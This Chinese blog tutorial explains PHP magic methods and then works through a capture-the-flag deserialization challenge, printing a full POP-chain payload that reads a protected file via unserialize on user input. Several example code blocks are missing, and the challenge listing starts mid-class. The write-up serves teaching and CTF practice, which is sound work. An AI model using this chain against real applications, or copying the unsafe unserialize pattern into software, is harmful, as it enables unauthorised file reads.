PHP魔术方法与反序列化总结

预计阅读时间: 3 分钟

__construct()__destruct()__call()__callStatic()__get()__set()__isset()__unset()__sleep()__wakeup()__toString()__invoke()__set_state()__clone()__debugInfo()等方法在 PHP 中被称为魔术方法(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。

一、没啥特点的魔术方法

1、__sleep() 和 __wakeup()

简单来说,就是在某个带有这类魔术方法的类进行序列化(__sleeep),反序列化(__wakeup)时,会进行调用的方法。sleep的调用时间在执行序列化操作之前,wakeup的调用时间在执行反序列化之前。

代码演示(摘自cnblog):

输出:

可以看到序列化前后user类id值不同,且序列化得到的字符串中没有id的值。

2、__toString()

示例代码(来自PHP官网):

输出:

3、__invoke()

示例代码(来自PHP官网):

输出:

4、__set_state()

看不懂,也不知道干啥用的,还没见过,想看的可以看一下

https://blog.csdn.net/weixin_30561177/article/details/96805714

这篇文章

二、__construct()与__destruct()

学名叫做构造函数和析构函数。



很好理解,看名字就能明白。__construct是在类实例化的时候调用的方法(反序列化过程不调用),__destruct是在类销毁时调用的方法(反序列化形成的类在销毁时也会调用)。

示例代码1:

输出:

示例代码2:

输出:

三、"重载( overloading )"

划重点, 未定义或不可见的类属性或方法即如果这个变量或方法未定义,也会调用相应魔术方法

1、属性重载

官网介绍的很清楚了,这里直接给示例代码:

输出:

2、方法重载

同上,直接给示例代码:

输出:

以上就是(几乎)所有的PHP魔术方法。下面用一道例题来简单介绍一下php反序列化漏洞。

具体原理百度上很多,我也不是完全清楚,就不献丑了。

题目如下:

    private $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'解析开始'."<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|..|fllllllaaaaaag/i',$this->source)) {
            die('hacker!');
            //flag in /fllllllaaaaaag
        } else {
           highlight_file($this->source);
        }

    }

    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }
}

if(isset($_GET['chal']))
{
    $chal = unserialize($_GET['chal']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}
?>

看到unserialize,很容易联想到反序列化。题目中也用到了很多魔法函数,于是就需要我们利用这些函数构造利用链。

首先,我们先要确定反序列化利用链的"头"。这些魔法函数中,能够直接被调用的只有__wakeup,所以这里肯定是入口。

其次,我们需要读文件拿到flag,然而这里能读到文件的只有Read类的file_get方法,于是可以想到利用链的"尾"肯定是这里。结合这里的魔术函数__invoke,可以想到将这个类作为方法调用就能读取文件。

然后我们需要一个类将头和尾连接起来。我们可以看到Test类有一个魔术方法__get,其中可以调用方法的方法名任意可控,于是便可以想到用这里来调用Read类,这里便是利用链的倒数第二环。

然而想要调用__get魔术方法,就需要调用Test类不可访问的属性。那怎样才能实现呢?联系我们利用链的头,在__wakeup中调用了$this-\>source,但是这里肯定不能调用到Test类的__get方法。此时再看明显没啥正经用处的__toString魔术方法,发现这里的变量有三层,于是便可以利用这里。

首先,实例化一个Show类,将其source属性赋值为一个新的Show类。在调用这个新的Show类的时候,便触发了__toString魔术方法,尝试调用$this-\>str['str']-\>source属性。然后我们将str['str']实例化为一个Test类,便成功调用了其不存在的source属性,触发了__get方法。然后我们需要实例化一个Read类,将其$var变量设置为我们要读的文件,并将实例化的Read类赋值给刚刚实例化的Test类的params变量,就形成了完整的利用链。

payload如下:

class Read {
    private $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
    public function __construct(){
           $this->var="/fllllllaaaaaag";
       }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'解析开始'."<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
            die('hacker!');
            //flag in /fllllllaaaaaag
        } else {
            highlight_file($this->source);
        }

    }

    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }
}

if(isset($_GET['chal']))
{
    $chal = unserialize($_GET['chal']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}
$show=new Show();
$show->source= new Show();
$show->source->str['str']=new Test();
$read=new Read();
$show->source->str['str']->params=$read;
echo urlencode(serialize($show));

成功拿到flag

发表评论

电子邮件地址不会被公开。 必填项已用*标注